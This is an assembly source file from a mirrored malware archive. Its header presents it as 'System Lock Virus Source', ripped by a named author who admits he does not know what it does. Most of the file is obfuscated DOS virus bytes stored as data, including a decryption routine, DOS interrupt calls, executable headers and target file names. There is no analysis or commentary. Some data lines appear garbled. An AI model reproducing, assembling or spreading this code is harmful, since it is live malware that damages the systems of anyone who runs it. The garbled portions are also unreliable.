mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
225 lines
14 KiB
NASM
225 lines
14 KiB
NASM
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
|
||
³ System Lock Virus Source. ³
|
||
³ Ripped by : The Head Hunter [F‹S] ³
|
||
³ ³
|
||
³ I don't know what it do, and don't wanna know ³
|
||
³ for sure... One thing... It does it. ³
|
||
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
|
||
Main: JMP Jmp0
|
||
db 02,00,00,00,02,00,00,00,00,00,00,00,00,00,39,28,46,03,03,01
|
||
Jmp0:
|
||
MOV CX, CS
|
||
MOV DX, CX
|
||
ADD CX, 0017h
|
||
PUSH CX
|
||
XOR CX, CX
|
||
PUSH CX
|
||
RETF
|
||
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
|
||
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
|
||
db 90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90
|
||
db 90,90,90,90,90,ff,ff,ff,ff,35,08,36,08,ff,ff,38,08,bb,01,00
|
||
db 90,eb,16,bb,02,00,90,eb,10,39,65,02,00,c1,07,01,01,0c,03,00
|
||
db 00,0c,00,8d,90,8c,d9,8c,cf,8e,df,8e,c7,8e,d7,8b,fc,bc,dd,0d
|
||
db fc,e8,03,00,e9,48,06,50,51,56,be,59,00,b9,26,08,90,d1,e9,8a
|
||
db e1,8a,c1,33,06,14,00,31,04,46,46,e2,f2,5e,59,58,c3,e8,df,ff
|
||
db cd,21,cc,da,ff,c3,4e,42,48,9a,ed,54,a8,3f,ce,2d,89,cc,02,cc
|
||
db 33,dd,f0,f6,8d,cb,5b,50,5d,c8,59,8e,de,ed,0e,06,82,d7,e7,02
|
||
db 0e,5b,ce,51,5d,89,29,4d,f6,2f,1a,16,f8,ff,7d,22,1e,fa,f5,a3
|
||
db af,38,ab,a7,a8,74,1a,f9,f8,7d,68,54,fe,45,ff,3f,dd,a9,b8,b4
|
||
db 21,dd,d0,dc,d3,db,d2,de,d1,d1,dc,ab,a6,a8,af,a1,ac,51,d9,2b
|
||
db c9,24,dc,29,54,e5,ed,72,14,20,83,8f,66,e2,6b,8a,d9,66,cb,d8
|
||
db 46,52,cb,88,dd,16,fa,a6,c6,5e,cf,8a,d1,d4,c9,ba,d7,e2,1d,6b
|
||
db d8,d3,12,2e,13,1d,23,34,4b,07,46,0a,d0,c9,46,1b,c4,90,93,07
|
||
db 9a,96,98,94,9f,91,c4,1b,bb,c2,26,b3,5c,60,0b,b4,5a,13,4e,82
|
||
db b3,c2,b4,53,e6,29,3b,bc,06,b3,9d,3a,bc,99,b9,85,78,3c,77,47
|
||
db 'o:E@'
|
||
db 12,95,9b,a9,d7,54,22,69,a3,24,70,40,15,a9,d7,87,25,95,1d,ac
|
||
db ab,a5,dd,a3,40,20,50,4b,ad,49,d7,5d,de,b8,2b,9c,d0,16,8f,cc
|
||
db 99,52,b6,ea,86,2d,d5,20,2c,93,22,96,9a,1e,87,c4,91,5a,be,e3
|
||
db 9e,0d,16,45,12,95,31,84,a4,03,87,a2,80,67,46,88,0a,57,0b,4c
|
||
db 19,d5,d4,de,d3,de,d1,45,db,d1,37,80,8e,0b,93,b9,85,03,90,6c
|
||
db 06,70,f1,40,34,76,59,0c,27,c1,76,7a,9f,37,eb,fe,64,4e,70,f6
|
||
db 9b,b7,0a,32,c0,35,74,f2,40,5d,17,61,e2,51,41,1a,55,ef,5b,68
|
||
db 12,59,23,81,8a,eb,17,65,29,10,7b,e6,14,65,20,15,62,e1,11,61
|
||
db 21,16,55,e4,53,5d,ba,48,c0,df,2b,59,13,2c,5a,da,28,59,03,21
|
||
db 53,d5,25,55,1d,22,5c,e8,5c,51,03,09,9f,03,10,1d,10,53,cd,8e
|
||
db ce,97,ff,48,05,84,64,55,36,7d,c2,4a,6a,4c,57,ca,88,c9,97,c1
|
||
db af,bf,b2,fa,4d,00,fe,1d,2d,4f,10,20,bc,ff,b9,e0,8e,3b,08,f7
|
||
db 15,24,49,20,b1,ed,9a,64,31,8f,3f,67,f3,10,4f,3a,b5,25,01,25
|
||
db ab,23,05
|
||
db ''zv|p'
|
||
db e5
|
||
db 'yv{v}'
|
||
db a0,d6,a1,3b,7b,2f,a3,29,0b,29,a5,37,0f,2b,94,22,44,d1,33,6f
|
||
db 06,aa,2e,d2,36,6a,07,07,9e,14,34,12,97,d4,94,cd,92,c0,a0,16
|
||
db 5c,dd,3f,0e
|
||
db 'CHEH['
|
||
db cf
|
||
db 'R\SYV'
|
||
db b0,bd,00,8d,c6,37,ca,f6,a5,88,eb,0e,bb,4d,0f,b1,0a,0f,f3,aa
|
||
db '^SXU[0'
|
||
db ac,a1,ac,a3,46,f0,bd,c4,31,c5,2b,7e,e4,a6,f2,36,d5,a0,ac,a2
|
||
db ae,3b,a7,ac,a1,ac,49,ff,b0,cf,3a,68,f2,a2,e4,60,0d,ef,ef,5d
|
||
db f8,e6,c2,36,6b,06,e4,eb,6d,fc,fd,e9,6d,f6,b5,e6,2d,cf,bb,b4
|
||
db b9,b4,20,83,8f,83,8f,86,88,6e,fe,df,67,a9,d1,6c,f9,d4,4b,28
|
||
db 70,59,eb,9b,df,d8,a3,dc,39,5b,d1,5c,ec,9c,da,c3,3c,b0,c9,38
|
||
db 25,ba,5f,73,f7,7c,e8,cd,73,e7,cb,5b,4f,d4,97,c0,0b,e9,b4,cc
|
||
db 2b,a8,51,4c,fc,ed,cb,fe,e6,c7,b9,48,55,ea,2f,09,b6,be,06,94
|
||
db b2,35,7c,ab,b4,03,b3,b9,26,4b,11,ca,b4,47,5a,f9,22,1d,f3,aa
|
||
db a9,a2,ac,f1,8b,af,af,ff,dc,a0,8c,55,55,a1,bb,ab,15,ae,76,41
|
||
db 05,b2,af,47,e6,51,d3,89,16,ec,19,6d,9b,2b,be,91,0e,1b,81,c5
|
||
db 91,5b,b8,e7,89,7c,dd,64,e6,94,21,d9,a5,4a,2e,40,9d,15,8f,cf
|
||
db 9b,74,7d,7f,10,3c,f2,89,31,a1,87,3e,ab,86,19,76,2e,19,d5,d4
|
||
db de,d3,de,d1,45,d8,d4,de,d2,d9,d7,33,c6,84,3c,d1,74,cb,77,71
|
||
db ee,83,db,d6,6e,76,da,d9,72,b3
|
||
db '}mtzu'
|
||
db cd,49,c2,23,76,c9,62,71,ed,f9,62,21,6a,a1,43,1e,63,85,da,ce
|
||
db 01,61,c5,73,65,57,d2,17,1e,60,93,8c,a4,66,c9,3f,66,28,d4,61
|
||
db 6f,95,8e,60,55,0a,5b,de,83,5e,6b,49,15
|
||
db 'Q#_n\'
|
||
db 14,52,2f,50,a3,bc,f4,56,f9,3d,56,f3,1a,59,fc,3a,55,f0,05,44
|
||
db e3,2f,48,ed,08,47,e6,2c,4f,ea,0f,42,83
|
||
db 'M#MLE'
|
||
db 8e,40,2c,4e,92,4d,c5,5f,0f,4b,c7,55,73,35,62,b6,f3,1b,3f,3f
|
||
db 6f,4c,31,b8,d7,ca,cb,b8,f9,24,b9,e6,39,8f,3c,37,ee,db,ef,eb
|
||
db df,c8,17,25,7f,25,ab,3b,4b,27,a9,39,45,21,af,3f,69,22,85,7d
|
||
db 22,74,0f
|
||
db '*)~\!'
|
||
db 0a,d0,d1,24,3d,22,29,fc,1e,97,ca,38,ee,1f,65,1c,af,18,14,ba
|
||
db 43,13,a5,12,c8,ff,1b,0b,41,1f,df,11,79,19,a8,6d,f5,30,e2,61
|
||
db 21,b8,42,b7,55,07,b9,13,07,98,8d,17,57,03,c9,2a,79,15,e2,27
|
||
db f7,b2,48,34,dd,b9,d1,0c,86,1c,5e,0a,1b,30,09,43,53,f6,4f,bb
|
||
db ff,41,fc,f9,65,09,50,5a,57,fc,59,e3,f9,a8,a7,ad,a6,ab,a6,32
|
||
db ad,a0,03,f5,e3,e4,58,57,e9,06,d7,12,95,c0,5e,19,15,02,4c,10
|
||
db 48,f0,ea,0d,22,1b,9a,fd,6c,de,f0,e8,ec,96,e5,60,ed,c2,db,df
|
||
db a5,d9,3b,d5,3f,2d,2b,32,d6,32,72,25,a8,d5,23,6f,63,de,44,3f
|
||
db 8e,2d,21,df,dd,da,41,89,9b,0f,41,f3,77,c6,c1,bb,ce,69,d0,c9
|
||
db 4e,d4,c4,c3,20,cb,cc,4b,cf,76,c0,e1,6e,c4,cf,e7,46,dc,ce,c2
|
||
db b4,7f,e1,ec,e3,1e,fe,b7,b3,f9,14,dc,bd,02,b4,86,01,d1,b2,78
|
||
db 98,c5,bc,84,7f,5b,a9,3a,65,06,83,0a,a1,ac,18,e2,a9,63,81,dd
|
||
db 49,1c,98,64,84,d8,4c,0a,e4,ac,f0,fc,f2,65,f8,f4,fe,f2,0d,ee
|
||
db a5,16,90,1a,95,9c,28,f8,99,53,b1,14,4f,2c,d6,20,97,9a,2e,d4
|
||
db 93,59,bb,21,a7,5b,b9,cd,c6,cb,c6,52,cd,c1,cd,c1,d5,db,84,01
|
||
db 59,00,40,67,ff,77,c6,b4,81,8a,f1,89,b8,44,62,f8,72,32,91,4a
|
||
db ae,22,c0,89,39,b4,06,95,3d,74,8c,bf,bc,5f,f1,86,77,7c,08,7a
|
||
db 9c,d5,74,f2,75,00,73,82,9b,d5,0f,7e,97,17,81,d2,0d,7b,c4,53
|
||
db 63,cf,10,64,c0,1e,69,54,61,1f,6f,1b,63,ad,62,1b,62,64,6a,ee
|
||
db 7f,16,61,c7,21,68,d5,18,64,db,6d,63,9e,79,0a,2f,96,98,56,29
|
||
db 5e,58,c6,e6,55,5a,ea,0a,53,de,5e,13,53,96,2c,46,6d,d5,27,58
|
||
db 1a
|
||
db 'ib'J8oi'
|
||
db 9e,3b,a7,a4,af,8e,40,3f,4c,4b,d4,1d,1c,15,f4,1e,41,ff,41,47
|
||
db df,6b,b7,cb,c8,3b,45,67,13,36,36,b5,b4,47,39,79,70,da,c6,60
|
||
db 6a,64,df,85,9b,42,33,3f,f9,43,3a,dc,2d,90,70,39,86,4b,35,8a
|
||
db 22,2c,a9,3b,51,27,ed,09,7f,5a,35,d6,23,5a,2d,d4,25,56,23,51
|
||
db 2a,cf,44,d8,8e,50,27,c9,d5,dc
|
||
db '+|MFKFI'
|
||
db dd,41,48,41,1e,98,1f,a7,12,32,95,1d,38,1a,26,e6,a8,6d,1f,a6
|
||
db 1a,1e,81,ee,b4,68,00,25,8c,3f,0d,75,0d,47,e4,f0,4f,20,89,38
|
||
db 0a,71,ee,f3,ef,0b,fc,0e,58,57,5e,cc,a3,a0,09,84,1c,ba,0b,7a
|
||
db f2,40,f5,78,e8,40,f7,7e,c6,42,f1,1d,4d,0b,88,f8,1d,13,f5,11
|
||
db bd,06,ca,ff,f0,8a,f2,14,39,fc,1b,f2,16,de,ef,94,e0,58,ea,e7
|
||
db 00,4a,10,d8,eb,e4,9f,e8,0d,5c,e5,5d,fc,52,c1,e6,2d,cf,27,eb
|
||
db 58,e4,e3,43,63,68,d5,68,fe,d3,ed,17,2a,78,96,13,df,88,1d,9e
|
||
db d5,f0,13,9c,d4,f6,11,9a,d3,f4,17,98,d6,dc,68,c3,cc,78,77,c9
|
||
db 7a,8e,76,fe,c8,0b,e8,b7,c5,2c,4e,31,f9,ca,c5,bd,c7,8b,73,80
|
||
db 0d,ef,2a,22,c9,17,b6,b0,57,c8,2d,3a,7d,f8,57,f9,41,f6,32,6d
|
||
db 00,0e,b3,0f,fa,03,8c,b9,7b,99,c4,bc,5b,dc,21,55,e5,46,8e,a3
|
||
db ac,d6,b8,ea,db,b2,92,a4,a8,d2,ba,98,ab,a4,df,8e,99,a8,a5,dd
|
||
db 86,43,e2,3f,14,e1,6c,8c,49,74,1c,29,94,19,52,a3,5e,62,31,14
|
||
db 77,92,27,d1,93,2d,96,9b,67,3e,7c,f2,69,3b,89,96,78,98,6a,75
|
||
db af,61,e1,84,64,fc,70,c1,66,0a,76,6c,9b,32,a3,48,ab,bf,85,9b
|
||
db 84,f8,8c,b2,90,9a,87,fd,83,66,5e,70,9c,2d,31,7b,f2,aa,c7,f1
|
||
db 7e,c4,65,ba,59,69,fa,4b,cc,7c,7a,0f,7f,f9,4b,cf,7e,7a,03,5b
|
||
db c4,32,bc,5c,d3,cc,7b,ed,ac,db,4e,61,fe,de,4e,6f,d7,66,68,96
|
||
db ce,e8,aa,d1,64,6b,e9,a9,e8,b8,ec,49,d4,66,8a,71,ee,a4,48,55
|
||
db 10,5a,d6,5f,16,58,5c,9f,d6,87,d2,73,10,5c,d0,55,10,52,56,91
|
||
db dd,4e,11,57,d9,48,ab,5a,db,52,af,44,ed,ec,45,ca,40,f2,47,c9
|
||
db 91,c8,88,76,91,cf,80,c0,97,c1,b6,c2,bd,c3,ac,a5,40,4e,41,4d
|
||
db a9
|
||
db 'XA3<2?1>0?78695'
|
||
db 03,1c,7d,38,37,3b,b9,f0,bd,e9,b6,fe,27,3e,60,0e,fb,6d,f8,c8
|
||
db 2c,9e,2d,20,96,21,63,ea,09,b6,b9,b5,ba,b4,bb,bb,b4,ba,b5,b9
|
||
db b6,b8,b7,bf,b0,be,b1,bd,b2,bc,b3,83,8c,82,1d,11,a6,12,38,15
|
||
db 18,1e,f8,14,1a,14,1b
|
||
db 'V]YGVEWQK'
|
||
db 10
|
||
db 'SP^@S@LJV'
|
||
db 0d
|
||
db '!4\KH[ZB@SF%[GG'
|
||
db 05
|
||
db 'Z_[K@CE<M'
|
||
db 02,eb,00,bc,00,01,b8,01,4c,cd,21,00,0d,0a
|
||
db 'UTL: the DOS batch f'
|
||
db 69,6c,cd,13,10,00,5a,14,80,00,e3,13,00,00,00,00,c4,35,c4,35
|
||
db fe,ff,01,00,00,00
|
||
db '\T100.COM'
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,01,00,20,00,06,13,49,9a,04
|
||
db 'T100 COM9'
|
||
db 19,00,00,00,00,00,00,00,20,49,9a,06,13,64,00,00,00,54,31,30
|
||
db '0.COM'
|
||
db 00,43,29,00,00,90,05,00,4d,5a,ef,01,17,00,04,00,20,00,c7,00
|
||
db ff,ff,e1,01,dd,0d,b6,7c,06,00,e1,01,1e,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
|
||
db 00,00,00,00,00,00,00,00,00,04,08,66,e7,17,73,0a,01,0d,52,bf
|
||
db 38,77,d8,5a,a6,65,55,f4,39,72,26,11,f0,76,cf,b1,e5,ee,9d,df
|
||
db 2e,0d,eb,60,53,6b,15,6b,15,70,00,05,00,00,00,00,00,23,40,05
|
||
db 00,df,0d,00,00,0f,08,32,08,00,00,d7,35,d7,35,00,44,5b,24,00
|
||
db 00,55,00,d7,35,0dir2,62,03,ba,08,00,00,ba,08,39,00,00,00,0c
|
||
db 03,cc,04,ba,08,01,00,60,07,00,00
|